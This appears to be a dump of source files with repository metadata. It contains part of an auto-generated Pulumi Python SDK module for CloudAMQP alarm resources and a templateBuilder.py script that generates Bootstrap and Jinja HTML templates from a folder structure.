@pulumi.getter(name="messageType") def message_type(self) -> Optional[pulumi.Input[str]]: """ Message type `(total, unacked, ready)` used by queue alarm type. """ return pulumi.get(self, "message_type") @message_type.setter def message_type(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "message_type", value) @property @pulumi.getter(name="queueRegex") def queue_regex(self) -> Optional[pulumi.Input[str]]: """ Regex for which queue to check. """ return pulumi.get(self, "queue_regex") @queue_regex.setter def queue_regex(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "queue_regex", value) @property @pulumi.getter(name="timeThreshold") def time_threshold(self) -> Optional[pulumi.Input[int]]: """ The time interval (in seconds) the `value_threshold` should be active before triggering an alarm. """ return pulumi.get(self, "time_threshold") @time_threshold.setter def time_threshold(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "time_threshold", value) @property @pulumi.getter(name="valueThreshold") def value_threshold(self) -> Optional[pulumi.Input[int]]: """ The value to trigger the alarm for. """ return pulumi.get(self, "value_threshold") @value_threshold.setter def value_threshold(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "value_threshold", value) @property @pulumi.getter(name="vhostRegex") def vhost_regex(self) -> Optional[pulumi.Input[str]]: """ Regex for which vhost to check """ return pulumi.get(self, "vhost_regex") @vhost_regex.setter def vhost_regex(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "vhost_regex", value) @pulumi.input_type class _AlarmState: def __init__(__self__, *, enabled: Optional[pulumi.Input[bool]] = None, instance_id: Optional[pulumi.Input[int]] = None, message_type: Optional[pulumi.Input[str]] = None, queue_regex: Optional[pulumi.Input[str]] = None, recipients: Optional[pulumi.Input[Sequence[pulumi.Input[int]]]] = None, time_threshold: Optional[pulumi.Input[int]] = None, type: Optional[pulumi.Input[str]] = None, value_threshold: Optional[pulumi.Input[int]] = None, vhost_regex: Optional[pulumi.Input[str]] = None): """ Input properties used for looking up and filtering Alarm resources. :param pulumi.Input[bool] enabled: Enable or disable the alarm to trigger. :param pulumi.Input[int] instance_id: The CloudAMQP instance ID. :param pulumi.Input[str] message_type: Message type `(total, unacked, ready)` used by queue alarm type. :param pulumi.Input[str] queue_regex: Regex for which queue to check. :param pulumi.Input[Sequence[pulumi.Input[int]]] recipients: Identifier for recipient to be notified. Leave empty to notify all recipients. :param pulumi.Input[int] time_threshold: The time interval (in seconds) the `value_threshold` should be active before triggering an alarm. :param pulumi.Input[str] type: The alarm type, see valid options below. :param pulumi.Input[int] value_threshold: The value to trigger the alarm for. :param pulumi.Input[str] vhost_regex: Regex for which vhost to check """ if enabled is not None: pulumi.set(__self__, "enabled", enabled) if instance_id is not None: pulumi.set(__self__, "instance_id", instance_id) if message_type is not None: pulumi.set(__self__, "message_type", message_type) if queue_regex is not None: pulumi.set(__self__, "queue_regex", queue_regex) if recipients is not None: pulumi.set(__self__, "recipients", recipients) if time_threshold is not None: pulumi.set(__self__, "time_threshold", time_threshold) if type is not None: pulumi.set(__self__, "type", type) if value_threshold is not None: pulumi.set(__self__, "value_threshold", value_threshold) if vhost_regex is not None: pulumi.set(__self__, "vhost_regex", vhost_regex) @property @pulumi.getter def enabled(self) -> Optional[pulumi.Input[bool]]: """ Enable or disable the alarm to trigger. """ return pulumi.get(self, "enabled") @enabled.setter def enabled(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "enabled", value) @property @pulumi.getter(name="instanceId") def instance_id(self) -> Optional[pulumi.Input[int]]: """ The CloudAMQP instance ID. """ return pulumi.get(self, "instance_id") @instance_id.setter def instance_id(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "instance_id", value) @property @pulumi.getter(name="messageType") def message_type(self) -> Optional[pulumi.Input[str]]: """ Message type `(total, unacked, ready)` used by queue alarm type. """ return pulumi.get(self, "message_type") @message_type.setter def message_type(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "message_type", value) @property @pulumi.getter(name="queueRegex") def queue_regex(self) -> Optional[pulumi.Input[str]]: """ Regex for which queue to check. """ return pulumi.get(self, "queue_regex") @queue_regex.setter def queue_regex(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "queue_regex", value) @property @pulumi.getter def recipients(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[int]]]]: """ Identifier for recipient to be notified. Leave empty to notify all recipients. """ return pulumi.get(self, "recipients") @recipients.setter def recipients(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[int]]]]): pulumi.set(self, "recipients", value) @property @pulumi.getter(name="timeThreshold") def time_threshold(self) -> Optional[pulumi.Input[int]]: """ The time interval (in seconds) the `value_threshold` should be active before triggering an alarm. """ return pulumi.get(self, "time_threshold") @time_threshold.setter def time_threshold(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "time_threshold", value) @property @pulumi.getter def type(self) -> Optional[pulumi.Input[str]]: """ The alarm type, see valid options below. """ return pulumi.get(self, "type") @type.setter def type(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "type", value) @property @pulumi.getter(name="valueThreshold") def value_threshold(self) -> Optional[pulumi.Input[int]]: """ The value to trigger the alarm for. """ return pulumi.get(self, "value_threshold") @value_threshold.setter def value_threshold(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "value_threshold", value) @property @pulumi.getter(name="vhostRegex") def vhost_regex(self) -> Optional[pulumi.Input[str]]: """ Regex for which vhost to check """ return pulumi.get(self, "vhost_regex") @vhost_regex.setter def vhost_regex(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "vhost_regex", value) class Alarm(pulumi.CustomResource): @overload def __init__(__self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, enabled: Optional[pulumi.Input[bool]] = None, instance_id: Optional[pulumi.Input[int]] = None, message_type: Optional[pulumi.Input[str]] = None, queue_regex: Optional[pulumi.Input[str]] = None, recipients: Optional[pulumi.Input[Sequence[pulumi.Input[int]]]] = None, time_threshold: Optional[pulumi.Input[int]] = None, type: Optional[pulumi.Input[str]] = None, value_threshold: Optional[pulumi.Input[int]] = None, vhost_regex: Optional[pulumi.Input[str]] = None, __props__=None): """ This resource allows you to create and manage alarms to trigger based on a set of conditions. Once triggerd a notification will be sent to the assigned recipients. When creating a new instance, there will also be a set of default alarms (cpu, memory and disk) created. All default alarms uses the default recipient for notifications. By setting `no_default_alarms` to *true* in `Instance`. This will create the instance without default alarms and avoid the need to import them to get full control. Available for all subscription plans, but `lemur`and `tiger`are limited to fewer alarm types. The limited types supported can be seen in the table below in Alarm Type Reference. ## Alarm Type reference Valid options for notification type. Required arguments for all alarms: *instance_id*, *type* and *enabled* Optional argument for all alarms: *tags*, *queue_regex*, *vhost_regex* | Name | Type | Shared | Dedicated | Required arguments | | ---- | ---- | ---- | ---- | ---- | ---- | | CPU | cpu | - | ✔ | time_threshold, value_threshold | | Memory | memory | - | ✔ | time_threshold, value_threshold | | Disk space | disk | - | ✔ | time_threshold, value_threshold | | Queue | queue | ✔ | ✔ | time_threshold, value_threshold, queue_regex, vhost_regex, message_type | | Connection | connection | ✔ | ✔ | time_threshold, value_threshold | | Consumer | consumer | ✔ | ✔ | time_threshold, value_threshold, queue, vhost | | Netsplit | netsplit | - | ✔ | time_threshold | | Server unreachable | server_unreachable | - | ✔ | time_threshold | | Notice | notice | ✔ | ✔ | | ## Dependency This resource depends on CloudAMQP instance identifier, `cloudamqp_instance.instance.id`. ## Import `cloudamqp_alarm` can be imported using CloudAMQP internal identifier of the alarm together (CSV separated) with the instance identifier. To retrieve the alarm identifier, use [CloudAMQP API](https://docs.cloudamqp.com/cloudamqp_api.html#list-alarms) ```sh $ pulumi import cloudamqp:index/alarm:Alarm alarm <id>,<instance_id>` ``` :param str resource_name: The name of the resource. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[bool] enabled: Enable or disable the alarm to trigger. :param pulumi.Input[int] instance_id: The CloudAMQP instance ID. :param pulumi.Input[str] message_type: Message type `(total, unacked, ready)` used by queue alarm type. :param pulumi.Input[str] queue_regex: Regex for which queue to check. :param pulumi.Input[Sequence[pulumi.Input[int]]] recipients: Identifier for recipient to be notified. Leave empty to notify all recipients. :param pulumi.Input[int] time_threshold: The time interval (in seconds) the `value_threshold` should be active before triggering an alarm. :param pulumi.Input[str] type: The alarm type, see valid options below. :param pulumi.Input[int] value_threshold: The value to trigger the alarm for. :param pulumi.Input[str] vhost_regex: Regex for which vhost to check """ ... @overload def __init__(__self__, resource_name: str, args: AlarmArgs, opts: Optional[pulumi.ResourceOptions] = None): """ This resource allows you to create and manage alarms to trigger based on a set of conditions. Once triggerd a notification will be sent to the assigned recipients. When creating a new instance, there will also be a set of default alarms (cpu, memory and disk) created. All default alarms uses the default recipient for notifications. By setting `no_default_alarms` to *true* in `Instance`. This will create the instance without default alarms and avoid the need to import them to get full control. Available for all subscription plans, but `lemur`and `tiger`are limited to fewer alarm types. The limited types supported can be seen in the table below in Alarm Type Reference. ## Alarm Type reference Valid options for notification type. Required arguments for all alarms: *instance_id*, *type* and *enabled* Optional argument for all alarms: *tags*, *queue_regex*, *vhost_regex* | Name | Type | Shared | Dedicated | Required arguments | | ---- | ---- | ---- | ---- | ---- | ---- | | CPU | cpu | - | ✔ | time_threshold, value_threshold | | Memory | memory | - | ✔ | time_threshold, value_threshold | | Disk space | disk | - | ✔ | time_threshold, value_threshold | | Queue | queue | ✔ | ✔ | time_threshold, value_threshold, queue_regex, vhost_regex, message_type | | Connection | connection | ✔ | ✔ | time_threshold, value_threshold | | Consumer | consumer | ✔ | ✔ | time_threshold, value_threshold, queue, vhost | | Netsplit | netsplit | - | ✔ | time_threshold | | Server unreachable | server_unreachable | - | ✔ | time_threshold | | Notice | notice | ✔ | ✔ | | ## Dependency This resource depends on CloudAMQP instance identifier, `cloudamqp_instance.instance.id`. ## Import `cloudamqp_alarm` can be imported using CloudAMQP internal identifier of the alarm together (CSV separated) with the instance identifier. To retrieve the alarm identifier, use [CloudAMQP API](https://docs.cloudamqp.com/cloudamqp_api.html#list-alarms) ```sh $ pulumi import cloudamqp:index/alarm:Alarm alarm <id>,<instance_id>` ``` :param str resource_name: The name of the resource. :param AlarmArgs args: The arguments to use to populate this resource's properties. :param pulumi.ResourceOptions opts: Options for the resource. """ ... def __init__(__self__, resource_name: str, *args, **kwargs): resource_args, opts = _utilities.get_resource_args_opts(AlarmArgs, pulumi.ResourceOptions, *args, **kwargs) if resource_args is not None: __self__._internal_init(resource_name, opts, **resource_args.__dict__) else: __self__._internal_init(resource_name, *args, **kwargs) def _internal_init(__self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, enabled: Optional[pulumi.Input[bool]] = None, instance_id: Optional[pulumi.Input[int]] = None, message_type: Optional[pulumi.Input[str]] = None, queue_regex: Optional[pulumi.Input[str]] = None, recipients: Optional[pulumi.Input[Sequence[pulumi.Input[int]]]] = None, time_threshold: Optional[pulumi.Input[int]] = None, type: Optional[pulumi.Input[str]] = None, value_threshold: Optional[pulumi.Input[int]] = None, vhost_regex: Optional[pulumi.Input[str]] = None, __props__=None): if opts is None: opts = pulumi.ResourceOptions() if not isinstance(opts, pulumi.ResourceOptions): raise TypeError('Expected resource options to be a ResourceOptions instance') if opts.version is None: opts.version = _utilities.get_version() if opts.id is None: if __props__ is not None: raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource') __props__ = AlarmArgs.__new__(AlarmArgs) if enabled is None and not opts.urn: raise TypeError("Missing required property 'enabled'") __props__.__dict__["enabled"] = enabled if instance_id is None and not opts.urn: raise TypeError("Missing required property 'instance_id'") __props__.__dict__["instance_id"] = instance_id __props__.__dict__["message_type"] = message_type __props__.__dict__["queue_regex"] = queue_regex if recipients is None and not opts.urn: raise TypeError("Missing required property 'recipients'") __props__.__dict__["recipients"] = recipients __props__.__dict__["time_threshold"] = time_threshold if type is None and not opts.urn: raise TypeError("Missing required property 'type'") __props__.__dict__["type"] = type __props__.__dict__["value_threshold"] = value_threshold __props__.__dict__["vhost_regex"] = vhost_regex super(Alarm, __self__).__init__( 'cloudamqp:index/alarm:Alarm', resource_name, __props__, opts) @staticmethod def get(resource_name: str, id: pulumi.Input[str], opts: Optional[pulumi.ResourceOptions] = None, enabled: Optional[pulumi.Input[bool]] = None, instance_id: Optional[pulumi.Input[int]] = None, message_type: Optional[pulumi.Input[str]] = None, queue_regex: Optional[pulumi.Input[str]] = None, recipients: Optional[pulumi.Input[Sequence[pulumi.Input[int]]]] = None, time_threshold: Optional[pulumi.Input[int]] = None, type: Optional[pulumi.Input[str]] = None, value_threshold: Optional[pulumi.Input[int]] = None, vhost_regex: Optional[pulumi.Input[str]] = None) -> 'Alarm': """ Get an existing Alarm resource's state with the given name, id, and optional extra properties used to qualify the lookup. :param str resource_name: The unique name of the resulting resource. :param pulumi.Input[str] id: The unique provider ID of the resource to lookup. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[bool] enabled: Enable or disable the alarm to trigger. :param pulumi.Input[int] instance_id: The CloudAMQP instance ID. :param pulumi.Input[str] message_type: Message type `(total, unacked, ready)` used by queue alarm type. :param pulumi.Input[str] queue_regex: Regex for which queue to check. :param pulumi.Input[Sequence[pulumi.Input[int]]] recipients: Identifier for recipient to be notified. Leave empty to notify all recipients. :param pulumi.Input[int] time_threshold: The time interval (in seconds) the `value_threshold` should be active before triggering an alarm. :param pulumi.Input[str] type: The alarm type, see valid options below. :param pulumi.Input[int] value_threshold: The value to trigger the alarm for. :param pulumi.Input[str] vhost_regex: Regex for which vhost to check """ opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id)) __props__ = _AlarmState.__new__(_AlarmState) __props__.__dict__["enabled"] = enabled __props__.__dict__["instance_id"] = instance_id __props__.__dict__["message_type"] = message_type __props__.__dict__["queue_regex"] = queue_regex __props__.__dict__["recipients"] = recipients __props__.__dict__["time_threshold"] = time_threshold __props__.__dict__["type"] = type __props__.__dict__["value_threshold"] = value_threshold __props__.__dict__["vhost_regex"] = vhost_regex return Alarm(resource_name, opts=opts, __props__=__props__) @property @pulumi.getter def enabled(self) -> pulumi.Output[bool]: """ Enable or disable the alarm to trigger. """ return pulumi.get(self, "enabled") @property @pulumi.getter(name="instanceId") def instance_id(self) -> pulumi.Output[int]: """ The CloudAMQP instance ID. """ return pulumi.get(self, "instance_id") @property @pulumi.getter(name="messageType") def message_type(self) -> pulumi.Output[Optional[str]]: """ Message type `(total, unacked, ready)` used by queue alarm type. """ return pulumi.get(self, "message_type") @property @pulumi.getter(name="queueRegex") def queue_regex(self) -> pulumi.Output[Optional[str]]: """ Regex for which queue to check. """ return pulumi.get(self, "queue_regex") @property @pulumi.getter def recipients(self) -> pulumi.Output[Sequence[int]]: """ Identifier for recipient to be notified. Leave empty to notify all recipients. """ return pulumi.get(self, "recipients") @property @pulumi.getter(name="timeThreshold") def time_threshold(self) -> pulumi.Output[Optional[int]]: """ The time interval (in seconds) the `value_threshold` should be active before triggering an alarm. """ return pulumi.get(self, "time_threshold") @property @pulumi.getter def type(self) -> pulumi.Output[str]: """ The alarm type, see valid options below. """ return pulumi.get(self, "type") @property @pulumi.getter(name="valueThreshold") def value_threshold(self) -> pulumi.Output[Optional[int]]: """ The value to trigger the alarm for. """ return pulumi.get(self, "value_threshold") @property @pulumi.getter(name="vhostRegex") def vhost_regex(self) -> pulumi.Output[Optional[str]]: """ Regex for which vhost to check """ return pulumi.get(self, "vhost_regex")

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12b1dedc6dafc45cacda1d8048f1067b7e1f65f3

21,802

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Python

templateBuilder.py

OrientoNubo/Folder-based-WebBuilder

8ca353c3b92f856272084a82be981f9094449a24

[ "MIT" ]

3

2021-11-24T12:27:06.000Z

2022-02-18T15:36:04.000Z

templateBuilder.py

OrientoNubo/Folder-based-WebBuilder

8ca353c3b92f856272084a82be981f9094449a24

[ "MIT" ]

null

templateBuilder.py

OrientoNubo/Folder-based-WebBuilder

8ca353c3b92f856272084a82be981f9094449a24

[ "MIT" ]

null

#coding:utf-8 import os from folderReader import traverseDIR from bs4 import BeautifulSoup # <li><a href="#" class="link-dark rounded">Pages Count: ?</a></li> # print(src) def htmlBuilderIndex(): src = traverseDIR() htmlSample = ''' <!DOCTYPE html> <html> <head> <meta name="viewport" content="width=device-width, initial-scale=1"> </head> <style></style> <body></body> </html> ''' soup = BeautifulSoup(htmlSample, 'html.parser') # Constitute::html:head headSoup = soup.head tag = soup.new_tag("link", rel="stylesheet", href=".{{url_for('static', filename='css/bootstrap.min.css') }}") headSoup.append("") headSoup.append(tag) tag = soup.new_tag("link", rel="stylesheet", href=".{{url_for('static', filename='css/sidebars.css') }}") headSoup.append("\n") headSoup.append(tag) tag = soup.new_tag("title") headSoup.append("\n") headSoup.append(tag) headSoup.title.string = "{% block title %}{% endblock %} | SHARK" # print(soup.head) # Constitute::html:style styleSoup = soup.style # print(styleSoup) # Constitute:::html::body:header headerSoup = soup.body header = '''<header class="d-flex justify-content-center py-3"> <ul class="nav nav-pills"> <li class="nav-item"><a href="./" class="nav-link active" aria-current="page">Home</a></li> <li class="nav-item"><a href="./posts.html" class="nav-link">Posts</a></li> <li class="nav-item"><a href="./caption.html" class="nav-link">Caption</a></li> <li class="nav-item"><a href="./links.html" class="nav-link">Links</a></li> </ul> </header>''' headerSoup.append(BeautifulSoup(header, 'html.parser')) # Constitute:::html::body:main # bodySoup = soup.body # tag = soup.new_tag("div") # soup.body.insert(0, tag) # tag['class'] = 'container' # soup.body.div.insert(0, "\n") mainSoup = soup.body main_1 = ''' <div class="container"> <div class="row"> <div class="col-md-3" id="sidebar"> <div class="flex-shrink-0 p-3 bg-white"> <a href="/" class="d-flex align-items-center pb-3 mb-3 link-dark text-decoration-none border-bottom"> <svg class="bi me-2" width="30" height="24"><use xlink:href="#bootstrap"></use> <span class="fs-5 fw-semibold"> </span> </a>''' # init main_2_sidebarVar = '''''' main_2_sidebarVar = main_2_sidebarVar + '<ul class="list-unstyled ps-0">' # main sidebar line for item in src[1][0]: # print(item) LEVEL_1 = item LEVEL_1_ID = item + "-collapse" LEVEL_1_ID_target = "#" + item + "-collapse" LEVEL_2 = '''''' for item2 in src[1][1]: item2_upper = item2.split("/")[0] item2_lower = item2.split("/")[1] # print(item) if item2_upper == item: # print(item, item2_upper, item2_lower) LEVEL_2 = LEVEL_2 + ''' <li><a href="./menu/''' + item2_upper + "/" + item2_lower + '''.html" class="link-dark rounded"> ''' + item2_lower + ''' </a></li> ''' # print("--------") ndPagePath = "./templates/menu/" + item2_upper isExist = os.path.exists(ndPagePath) if not isExist: os.makedirs(ndPagePath) ndPageURL = "./templates/menu/" + item2_upper + "/" + item2_lower + ".html" temp = open(ndPageURL,'w') temp.close main_2_sidebarVar = main_2_sidebarVar + ''' <li class="mb-1"> <button class="btn btn-toggle align-items-center rounded collapsed" data-bs-toggle="collapse" data-bs-target="''' + LEVEL_1_ID_target + '''" aria-expanded="false"> ''' + LEVEL_1 + ''' </button> <div class="collapse" id="''' + LEVEL_1_ID + '''"> ''' + ''' <ul class="btn-toggle-nav list-unstyled fw-normal pb-1 small"> ''' + LEVEL_2 + ''' </ul> </div> </li> ''' # print(main_2_sidebarVar) # analyze line main_2_sidebarVar = main_2_sidebarVar + ''' <li class="border-top my-3"></li> <li class="mb-1"> <button class="btn btn-toggle align-items-center rounded collapsed" data-bs-toggle="collapse" data-bs-target="#account-collapse" aria-expanded="false"> Analyze </button> <div class="collapse" id="account-collapse"> <ul class="btn-toggle-nav list-unstyled fw-normal pb-1 small"> <li><a href="#" class="link-dark rounded">Files Count: ''' + str(src[2]) + '''</a></li> </ul> </div> </li> </ul>''' main_3 = ''' </div> </div> <div class="col-md" id="content"> {% block content %} {% endblock %} </div> </div> </div>''' main = main_1 + main_2_sidebarVar + main_3 mainSoup.append(BeautifulSoup(main, "html.parser")) # Constitute:::html::body:footer bodySoup = soup.body footer = '''<div id="footer"> <div class="container"> <footer class="d-flex flex-wrap justify-content-between align-items-center py-3 my-4 border-top"> <div class="col-md-12 d-flex align-items-center"> <span class="text-muted">© 2021 github.com/OrientoNubo/Folder-based-WebBuilder, repo</span> </div> </footer> </div> </div>''' bodySoup.append(BeautifulSoup(footer, 'html.parser')) bodySoup = soup.body js =''' <script src=".{{ url_for('static', filename='js/bootstrap.bundle.min.js') }}"></script> <script src=".{{ url_for('static', filename='js/sidebars.js') }}"></script> ''' bodySoup.append(BeautifulSoup(js, 'html.parser')) template = open("./templates/template.html",'w') template.write(soup.prettify()) template.close def htmlBuilderPosts(): src = traverseDIR() htmlSample = ''' <!DOCTYPE html> <html> <head> <meta name="viewport" content="width=device-width, initial-scale=1"> </head> <style></style> <body></body> </html> ''' soup = BeautifulSoup(htmlSample, 'html.parser') # Constitute::html:head headSoup = soup.head tag = soup.new_tag("link", rel="stylesheet", href="..{{url_for('static', filename='css/bootstrap.min.css') }}") headSoup.append("") headSoup.append(tag) tag = soup.new_tag("link", rel="stylesheet", href="..{{url_for('static', filename='css/sidebars.css') }}") headSoup.append("\n") headSoup.append(tag) tag = soup.new_tag("title") headSoup.append("\n") headSoup.append(tag) headSoup.title.string = "{% block title %}{% endblock %} | SHARK" # print(soup.head) # Constitute::html:style styleSoup = soup.style # print(styleSoup) # Constitute:::html::body:header headerSoup = soup.body header = '''<header class="d-flex justify-content-center py-3"> <ul class="nav nav-pills"> <li class="nav-item"><a href="../" class="nav-link active" aria-current="page">Home</a></li> <li class="nav-item"><a href="../posts.html" class="nav-link">Posts</a></li> <li class="nav-item"><a href="../caption.html" class="nav-link">Caption</a></li> <li class="nav-item"><a href="../links.html" class="nav-link">Links</a></li> </ul> </header>''' headerSoup.append(BeautifulSoup(header, 'html.parser')) # Constitute:::html::body:main # bodySoup = soup.body # tag = soup.new_tag("div") # soup.body.insert(0, tag) # tag['class'] = 'container' # soup.body.div.insert(0, "\n") mainSoup = soup.body main_1 = ''' <div class="container"> <div class="row"> <div class="col-md-3" id="sidebar"> <div class="flex-shrink-0 p-3 bg-white"> <a href="/" class="d-flex align-items-center pb-3 mb-3 link-dark text-decoration-none border-bottom"> <svg class="bi me-2" width="30" height="24"><use xlink:href="#bootstrap"></use> <span class="fs-5 fw-semibold"> </span> </a>''' # init main_2_sidebarVar = '''''' main_2_sidebarVar = main_2_sidebarVar + '<ul class="list-unstyled ps-0">' # main sidebar line for item in src[1][0]: # print(item) LEVEL_1 = item LEVEL_1_ID = item + "-collapse" LEVEL_1_ID_target = "#" + item + "-collapse" LEVEL_2 = '''''' for item2 in src[1][1]: item2_upper = item2.split("/")[0] item2_lower = item2.split("/")[1] # print(item) if item2_upper == item: # print(item, item2_upper, item2_lower) LEVEL_2 = LEVEL_2 + ''' <li><a href="../menu/''' + item2_upper + "/" + item2_lower + '''.html" class="link-dark rounded"> ''' + item2_lower + ''' </a></li> ''' # print("--------") ndPagePath = "../templates/menu/" + item2_upper isExist = os.path.exists(ndPagePath) if not isExist: os.makedirs(ndPagePath) ndPageURL = "../templates/menu/" + item2_upper + "/" + item2_lower + ".html" temp = open(ndPageURL,'w') temp.close main_2_sidebarVar = main_2_sidebarVar + ''' <li class="mb-1"> <button class="btn btn-toggle align-items-center rounded collapsed" data-bs-toggle="collapse" data-bs-target="''' + LEVEL_1_ID_target + '''" aria-expanded="false"> ''' + LEVEL_1 + ''' </button> <div class="collapse" id="''' + LEVEL_1_ID + '''"> ''' + ''' <ul class="btn-toggle-nav list-unstyled fw-normal pb-1 small"> ''' + LEVEL_2 + ''' </ul> </div> </li> ''' # print(main_2_sidebarVar) # analyze line main_2_sidebarVar = main_2_sidebarVar + ''' <li class="border-top my-3"></li> <li class="mb-1"> <button class="btn btn-toggle align-items-center rounded collapsed" data-bs-toggle="collapse" data-bs-target="#account-collapse" aria-expanded="false"> Analyze </button> <div class="collapse" id="account-collapse"> <ul class="btn-toggle-nav list-unstyled fw-normal pb-1 small"> <li><a href="#" class="link-dark rounded">Files Count: ''' + str(src[2]) + '''</a></li> </ul> </div> </li> </ul>''' main_3 = ''' </div> </div> <div class="col-md" id="content"> {% block content %} {% endblock %} </div> </div> </div>''' main = main_1 + main_2_sidebarVar + main_3 mainSoup.append(BeautifulSoup(main, "html.parser")) # Constitute:::html::body:footer bodySoup = soup.body footer = '''<div id="footer"> <div class="container"> <footer class="d-flex flex-wrap justify-content-between align-items-center py-3 my-4 border-top"> <div class="col-md-12 d-flex align-items-center"> <span class="text-muted">© 2021 github.com/OrientoNubo/Folder-based-WebBuilder, repo</span> </div> </footer> </div> </div>''' bodySoup.append(BeautifulSoup(footer, 'html.parser')) bodySoup = soup.body js =''' <script src="..{{ url_for('static', filename='js/bootstrap.bundle.min.js') }}"></script> <script src="..{{ url_for('static', filename='js/sidebars.js') }}"></script> ''' bodySoup.append(BeautifulSoup(js, 'html.parser')) template = open("./templates/template_posts.html",'w') template.write(soup.prettify()) template.close def htmlBuilderMenu(): src = traverseDIR() htmlSample = ''' <!DOCTYPE html> <html> <head> <meta name="viewport" content="width=device-width, initial-scale=1"> </head> <style></style> <body></body> </html> ''' soup = BeautifulSoup(htmlSample, 'html.parser') # Constitute::html:head headSoup = soup.head tag = soup.new_tag("link", rel="stylesheet", href="../..{{url_for('static', filename='css/bootstrap.min.css') }}") headSoup.append("") headSoup.append(tag) tag = soup.new_tag("link", rel="stylesheet", href="../..{{url_for('static', filename='css/sidebars.css') }}") headSoup.append("\n") headSoup.append(tag) tag = soup.new_tag("title") headSoup.append("\n") headSoup.append(tag) headSoup.title.string = "{% block title %}{% endblock %} | SHARK" # print(soup.head) # Constitute::html:style styleSoup = soup.style # print(styleSoup) # Constitute:::html::body:header headerSoup = soup.body header = '''<header class="d-flex justify-content-center py-3"> <ul class="nav nav-pills"> <li class="nav-item"><a href="../../" class="nav-link active" aria-current="page">Home</a></li> <li class="nav-item"><a href="../../posts.html" class="nav-link">Posts</a></li> <li class="nav-item"><a href="../../caption.html" class="nav-link">Caption</a></li> <li class="nav-item"><a href="../../links.html" class="nav-link">Links</a></li> </ul> </header>''' headerSoup.append(BeautifulSoup(header, 'html.parser')) # Constitute:::html::body:main # bodySoup = soup.body # tag = soup.new_tag("div") # soup.body.insert(0, tag) # tag['class'] = 'container' # soup.body.div.insert(0, "\n") mainSoup = soup.body main_1 = ''' <div class="container"> <div class="row"> <div class="col-md-3" id="sidebar"> <div class="flex-shrink-0 p-3 bg-white"> <a href="/" class="d-flex align-items-center pb-3 mb-3 link-dark text-decoration-none border-bottom"> <svg class="bi me-2" width="30" height="24"><use xlink:href="#bootstrap"></use> <span class="fs-5 fw-semibold"> </span> </a>''' # init main_2_sidebarVar = '''''' main_2_sidebarVar = main_2_sidebarVar + '<ul class="list-unstyled ps-0">' # main sidebar line for item in src[1][0]: # print(item) LEVEL_1 = item LEVEL_1_ID = item + "-collapse" LEVEL_1_ID_target = "#" + item + "-collapse" LEVEL_2 = '''''' for item2 in src[1][1]: item2_upper = item2.split("/")[0] item2_lower = item2.split("/")[1] # print(item) if item2_upper == item: # print(item, item2_upper, item2_lower) LEVEL_2 = LEVEL_2 + ''' <li><a href="../../menu/''' + item2_upper + "/" + item2_lower + '''.html" class="link-dark rounded"> ''' + item2_lower + ''' </a></li> ''' # print("--------") ndPagePath = "../../templates/menu/" + item2_upper isExist = os.path.exists(ndPagePath) if not isExist: os.makedirs(ndPagePath) ndPageURL = "../../templates/menu/" + item2_upper + "/" + item2_lower + ".html" temp = open(ndPageURL,'w') temp.close main_2_sidebarVar = main_2_sidebarVar + ''' <li class="mb-1"> <button class="btn btn-toggle align-items-center rounded collapsed" data-bs-toggle="collapse" data-bs-target="''' + LEVEL_1_ID_target + '''" aria-expanded="false"> ''' + LEVEL_1 + ''' </button> <div class="collapse" id="''' + LEVEL_1_ID + '''"> ''' + ''' <ul class="btn-toggle-nav list-unstyled fw-normal pb-1 small"> ''' + LEVEL_2 + ''' </ul> </div> </li> ''' # print(main_2_sidebarVar) # analyze line main_2_sidebarVar = main_2_sidebarVar + ''' <li class="border-top my-3"></li> <li class="mb-1"> <button class="btn btn-toggle align-items-center rounded collapsed" data-bs-toggle="collapse" data-bs-target="#account-collapse" aria-expanded="false"> Analyze </button> <div class="collapse" id="account-collapse"> <ul class="btn-toggle-nav list-unstyled fw-normal pb-1 small"> <li><a href="#" class="link-dark rounded">Files Count: ''' + str(src[2]) + '''</a></li> </ul> </div> </li> </ul>''' main_3 = ''' </div> </div> <div class="col-md" id="content"> {% block content %} {% endblock %} </div> </div> </div>''' main = main_1 + main_2_sidebarVar + main_3 mainSoup.append(BeautifulSoup(main, "html.parser")) # Constitute:::html::body:footer bodySoup = soup.body footer = '''<div id="footer"> <div class="container"> <footer class="d-flex flex-wrap justify-content-between align-items-center py-3 my-4 border-top"> <div class="col-md-12 d-flex align-items-center"> <span class="text-muted">© 2021 github.com/OrientoNubo/Folder-based-WebBuilder, repo</span> </div> </footer> </div> </div>''' bodySoup.append(BeautifulSoup(footer, 'html.parser')) bodySoup = soup.body js =''' <script src="../..{{ url_for('static', filename='js/bootstrap.bundle.min.js') }}"></script> <script src="../..{{ url_for('static', filename='js/sidebars.js') }}"></script> ''' bodySoup.append(BeautifulSoup(js, 'html.parser')) template = open("./templates/template_menu.html",'w') template.write(soup.prettify()) template.close if __name__ == '__main__': htmlBuilderIndex() htmlBuilderPosts() htmlBuilderMenu()

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0.712924

0.064581

0

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0.087766

0.667881

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0

8

12b8476286d00259d739dd40e2972e3e8252bad7

69,661

py

Python

app/seeds/reviews.py

nikhilmenon2/Learn2Cook

8276c8d42e1476f32916952b105fa434d4c9abcc

[ "PostgreSQL", "Unlicense", "MIT" ]

11

2021-02-26T19:11:31.000Z

2021-03-24T19:23:05.000Z

app/seeds/reviews.py

nikhilmenon2/Learn2Cook

8276c8d42e1476f32916952b105fa434d4c9abcc

[ "PostgreSQL", "Unlicense", "MIT" ]

null

